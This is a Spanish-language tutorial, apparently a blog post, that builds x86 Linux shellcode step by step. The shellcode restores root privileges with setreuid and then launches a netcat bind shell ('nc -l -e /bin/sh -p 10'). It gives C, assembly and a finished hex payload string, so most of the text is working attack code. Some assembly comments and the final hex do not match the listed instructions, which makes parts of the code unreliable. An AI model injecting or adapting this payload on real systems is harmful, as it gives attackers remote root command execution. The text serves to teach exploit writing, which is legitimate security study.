A continuación se muestra una manera de construir shellcode para abrir una conexión TCP a través de la cual se reciben comandos de shell. Esto se hace evitando el uso de sockets, y haciendo uso de herramientas como NetCat para abrir la conexión.
Construyendo el comando
Revisando el manual de nc (NetCat) se encuetra que se pueden agregar parámetros como los siguientes:
- -l: especifica que nc debe escuchar conexiones entrantes
- -p: especifica el puerto por el cual se debe escuchar
- -e: especifica el programa que se debe ejecutar una vez se inicie la conexión
Teniendo esto en cuenta, se observa que "
nc -l -e /bin/sh -p 10" hará que el host abra una conexión por el puerto 10, por medio de la cual recibirá comandos que se ejecutarán en el shell.
Ejecutando el comando desde C
Una vez se construido el comando que se quiere ejecutar, decidí programarlo en C para verificar el funcionamiento del mismo.
#include <stdio.h>
int main(int argc, char* argv[])
{
char filename[] = "/bin//nc";
char* arr[7];
arr[0] = "/bin//nc";
arr[1] = "-l";
arr[2]="-e";
arr[3]="//bin/sh";
arr[4]= "-p";
arr[5] ="10";
arr[6] = NULL;
execve(arr[0],arr,NULL);
}
Execve es una función que se encarga de hacer llamados al sistema y recibe como parámetros: el nombre del programa que se va a invocar, un arreglo de cadenas de texto terminadas por una cadena que tiene como valor NULL donde se indica el programa (nc) con sus respectivos argumentos (-l -e ... etc), y en el último parámetro recibe la lista de variables de entorno que serán utilizadas por el programa invocado (en este caso es NULL debido a que no necesitamos ninguna variable de entorno).
Escribiendo el Shellcode en Ensamblador
Teniendo en cuenta que nuestra idea final es obtener una cadena de caracteres (sin bytes nulos), es ideal llegar hasta la representación más cercana al lenguaje de máquina, es decir el lenguaje de ensamblador ( Aunque también es posible partir del resultado de hacer ingeniería reversa al código en C ).
Debido a que no es posible hacer declaraciones de variables desde nuestro programa inyectado ( porque no contamos con una sección de memoria para esto ), se debe utilizar el stack para alojar los argumentos necesarios para realizar la invocación a las funciones. Habiendo dicho esto, iniciemos con la programación de ensamblador!
Si estamos tratando de inyectar el código para obtener una consola con permisos de root, es necesario llamar la función setreuid antes de ejecutar nuestro comando netcat (para mantener los privilegios de root). La invocación de esta función se ve así:
global _start
_start: ; indicar al ensamblador en inicio del programa
xor eax, eax | ;de esta manera se asigna 0 a eax sin utilizar el valor 0 |
mov al, 70 | ;setreuid es la llamada a sistema número 70 |
xor ebx, ebx | ;se mueve 0 a ebx, para poner y uid real como root |
xor ecx, ecx | ;se mueve 0 a ecx, para colocar el uid efectivo como root |
int 0x80 | ;generar la interrupción que hara que el kernel haga la llamada al sistema |
|
Una vez hemos garantizado que el uid es 0, podemos hacer la invocación del netcat tal como se muestra a continuación:
mov ax,0x3031 | |
push eax | ;push "10" |
mov ax,0x702d | |
push eax | ;push "-p" |
push ecx | ;push NULL (4 bytes) en el stack para finalizar "/bin//sh" |
push 0x68732f2f | ;push "//sh" |
push 0x6e69622f | ;push "/bin" |
mov ax,0x652d | |
push eax | ;push "-l" |
push eax | ;push "-l" |
mov ax,0x6c2d | |
push eax | ;push "-e" |
push ecx | ;push NULL en el stack para finalizar "/bin//nc" |
push 0x636e2f2f | ;push "//nc" |
push 0x6e69622f | ;push "/bin" |
mov ebx, esp | ;ecx = direccion de "/bin//nc" |
push ecx | ;4 bytes nulos para terminar arreglo de parametros |
add ebx,0x01010101 |
|
sub ebx,0x010100dd | ;add ebx,36 |
push ebx | ;direccion de "10" |
add ebx,0xfffffffc | |
push ebx | ;direccion de "-p" |
add ebx,0xfffffff4 | |
push ebx | ;direccion de "/bin//sh" |
add ebx,0xfffffffc |
|
push ebx | ;direccion de "-e" |
add ebx,0xfffffffc |
|
push ebx | ;direccion de "-l" |
add ebx,0xfffffff4 | |
push ebx | ;direccion de "/bin//nc", la direccion inicial |
mov ecx, esp | ;se pone en ecx la direccion del arrglo de ptrs terminado en null que apunta a los parametros. |
xor edx, edx | ; poner 0 en edx |
xor eax,eax | ; poner eax en 0 |
mov al, 11 | ; se mueve 11 a eax, porque execve() es la llamada al sistema número 11 |
int 0x80 | ; llamar al kernel, para que él invoque la función del sistema execve |
Debido a que es muy probable que queramos representar el shellcode como una cadena de texto (string), debemos hacer lo máximo posible para evitar bytes nulos, por esta razón se utiliza la instrucción xor de un registro con el mismo, ya que esta instrucción no contiene el valor 0 en su representación a pesar de que siempre dejara el registro con este valor.
Por otro lado, cuando se desea representar cadenas de texto de 2 caracteres, lo que hacemos es tener 0 en el registro de 32 bits, pero le asignamos el valor de estos dos caracteres a los 2 bytes menos significativos (ax, ex ...etc). En caso de tener cadenas de tres caracteres, como el caso de "/nc" le colocamos doble slash para obtener "//nc" lo cual nos permite asignar los 4 bytes.
Para obtener las direcciones del stack donde se encuentran los parámetros (ebx-4, ebx-8 ... etc) no los accedemos a través de la instrucción sub, ya que esta nos obligaria a colocar una instrucción como sub 4, o sub 8, lo que resultaría en algunos bytes nulos. Para evitar esto utilizamos el complemento a 2 del número para que al sumar los dos números se obtenga el resultado deseado (tener en cuenta que la aritmética es modulo 2^8).
Una vez contamos con un shellcode que no incluya bytes nulos, es posible ensamblarlo usando nasm y desensamblarlo con ndisasm de la siguiente manera:
nasm shellcode.asm
disasm -b32 shellcode
O bien es posible ensamblarlo y encadenarlo con ld para después encontrar el valor hexadecimal usando objdump o hexdump.
Por cualquiera de estos métodos encontraremos que el shellcode es el siguiente:
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x66\xb8\x31\x30\x50"
"\x66\xb8\x2d\x70\x50\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x66\xb8\x2d\x65\x50\x66\xb8\x2d\x6c\x50\x51\x68\x2f\x2f"
"\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x51\x81\xc3\x25\x01\x01"
"\x01\x81\xeb\x01\x01\x01\x01\x53\x81\xeb\x05\x01\x01\x01\x81"
"\xc3\x01\x01\x01\x01\x53\x81\xeb\x0d\x01\x01\x01\x81\xc3\x01"
"\x01\x01\x01\x53\x81\xeb\x05\x01\x01\x01\x81\xc3\x01\x01\x01"
"\x01\x53\x81\xeb\x05\x01\x01\x01\x81\xc3\x01\x01\x01\x01\x53"
"\x81\xeb\x0d\x01\x01\x01\x81\xc3\x01\x01\x01\x01\x53\x89\xe1"
"\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\xb0\x01\xcd\x80"
A pesar de que es posible encontrar shellcode más pequeño que cumpla estas mismas funciones en la red, decidí intentar hacerlo yo mismo para encontrarme con los diferentes obstáculos que se pueden producir en el proceso e ilustrarlos en este artículo. Para aquellos interesados en encontrar mayor información al respecto les recomiendo revisar HACKING: The Art Of Exploitation, o the Shellcoders Handbook.
Saludos,